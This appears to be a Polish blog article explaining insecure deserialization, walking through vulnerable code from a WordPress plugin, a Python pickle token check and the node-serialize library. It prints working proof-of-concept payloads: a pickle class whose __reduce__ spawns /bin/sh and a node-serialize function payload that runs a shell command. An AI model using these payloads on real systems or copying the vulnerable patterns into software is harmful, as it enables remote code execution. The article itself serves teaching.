Na czym polega niezabezpieczona deserializacja

Niezabezpieczona deserializacja danych zajmuje ósme miejsce na liście dziesięciu najbardziej krytycznych zagrożeń bezpieczeństwa aplikacji internetowych. Przed tym jak zajmiemy się samymi atakami, zacznijmy od tego, czym jest serializacja.

Serializacja danych

Naprościej mówiąc, serializacja polega na przekształceniu instancji obiektu na bajty w celu przesłania go poprzez sieć. Deserializacja jest więc procesem odwrotnym.

Przykładowo wyobraźmy sobie sytuację, w której użytkownik za pośrednictwem formularza wykorzystującego API przesyła dane na serwer. Są one zmieniane na postać szeregową, a następnie odebrane przez serwer deserializowane i wykorzystywane do np. zapisania ich w bazie danych.

Przykłady niebezpiecznej deserializacji

Aby nie być teoretycznym, przejdźmy do rzeczywistych przykładów.

CVE-2020-9006

Na początek coś prostego. Wtyczka Popup Builder w wersji od 2.2.8 do 2.6.7.6 dla WordPressa wykazała podatność na SQL Injection poprzez deserializację zmiennej attachmentUrl. Pozwala to na utworzenie konta administratora, co w efekcie prowadzi do możliwości zdalnego wykonania kodu. Podatna część kodu znajduje się poniżej.

function sgImportPopups()
{
  global $wpdb;
  url = $_POST['attachmentUrl'];
  contents = unserialize(base64_decode(file_get_contents($url)));

  /* For tables wich they are not popup tables child ex. subscribers */
  foreach ($contents['customData'] as $tableName => $datas) {
    $columns = '';

    $columsArray = array();
    foreach ($contents['customTablesColumsName'][$tableName] as $key => $value) {
      $columsArray[$key] = $value['Field'];
    }
    $columns .= implode(array_values($columsArray), ', ');
    foreach ($datas as $key => $data) {
      $values = "'".implode(array_values($data), "','")."'";
      $customInsertSql = $wpdb->prepare("INSERT INTO ".$wpdb->prefix.$tableName."($columns) VALUES ($values)");
    }
  }
(...)
}

Jak widać, zmienna attachmentUrl nie jest w żaden sposób walidowana. Zamiast tego zostaje bezpośrednio przekazana do funkcji unserialize(). Zdeserializowane dane są w następnej kolejności używane do uzupełnienia bazy danych. Zeroauth w swoim poście pokazuje przykład funkcji służącej do utworzenia złośliwego payloadu.

CWE-502

W pythonie istnieje biblioteka pickle obsługująca serializację oraz deserializację obiektów. Poniższy przykład pobiera i przetwarza dane, a następnie uwierzytelnia użytkownika na podstawie istniejącego tokena.

class VulnerableProtocol(protocol.Protocol):
  def dataReceived(self, data):

     # Code to actually parse incoming data according to an
     #  internal state machine
     # If we just finished receiving headers, call verifyAuth() to
       check authentication

  def verifyAuth(self, headers):
    try:
      token = cPickle.loads(base64.b64decode(headers['AuthToken']))
      if not check_hmac(token['signature'], token['data'], getSecretKey()):
        raise AuthenticationFailed
      self.secure_data = token['data']
    except:
      raise AuthenticationFailed

Problem powyższego kodu polega na tym, że atakujący jest w stanie utworzyć samemu obiekt AuthToken, który zainicjuje następnie jeden z podprocesów Pythona. Co to oznacza? Że możemy wykonać dowolne polecenie na serwerze. Rzućmy okiem na poniższy przykład.

import cPickle
import subprocess
import base64

class RunBinSh(object):
  def __reduce__(self):
    return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

Biblioteka pickle pozwala dowolnym obiektom zadeklarować w jaki sposób mają one zostać „zpicklowane”, poprzez zdefiniowanie funkcji „__reduce__„. Docelowo zwraca ona stringa lub tuple opisującą w jaki sposób można zrekonstruować obiekt po rozpakowaniu. Tupla musi składać się z dwóch elementów:

  • wywoływanej klasy obiektu
  • przekazywanych argumentów

W taki sposób jesteśmy w stanie w stanie zdefiniować zwracany obiekt, który domyślnie uruchomi powłokę shell.

CVE-2017-5941

Ze zgłoszenia możemy dowiedzieć się, że w bibliotece node-serialize w wersji 0.0.4 istnieje funkcja unserialize()​, która może zostać wykorzystana do wstrzyknięcia dowolnego kodu poprzez przekazanie obiektu JavaScript z narychmiastowo wywoływanym wyrażeniem funkcyjnym. Wygląda ona w sposób następujący i ktoś, kto współpracuje na co dzień w jsie, napewno miał z nią styczność.

(function() {
    'use strict';  

}());

Przykładowy kod z użytym payloadem mógłby wyglądać w sposób następujący.

var serialize = require('node-serialize');
var payload = '{
  "rce":"_$$ND_FUNC$$_function(){
    require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) { 
      console.log(stdout)});
    }()"
}';
serialize.unserialize(payload);

W powyższym przykładzie, kod skutkuje uruchomieniem na serwerze polecenia „ls„.

Źródła

https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
https://qa-stack.pl/programming/447898/what-is-object-serialization
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941
https://cwe.mitre.org/data/definitions/502.html
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://cwe.mitre.org/data/definitions/502.html#REF-467
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9006
https://zeroauth.ltd/blog/2020/02/16/cve-2020-9006-popup-builder-wp-plugin-sql-injection-via-php-deserialization/


Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany.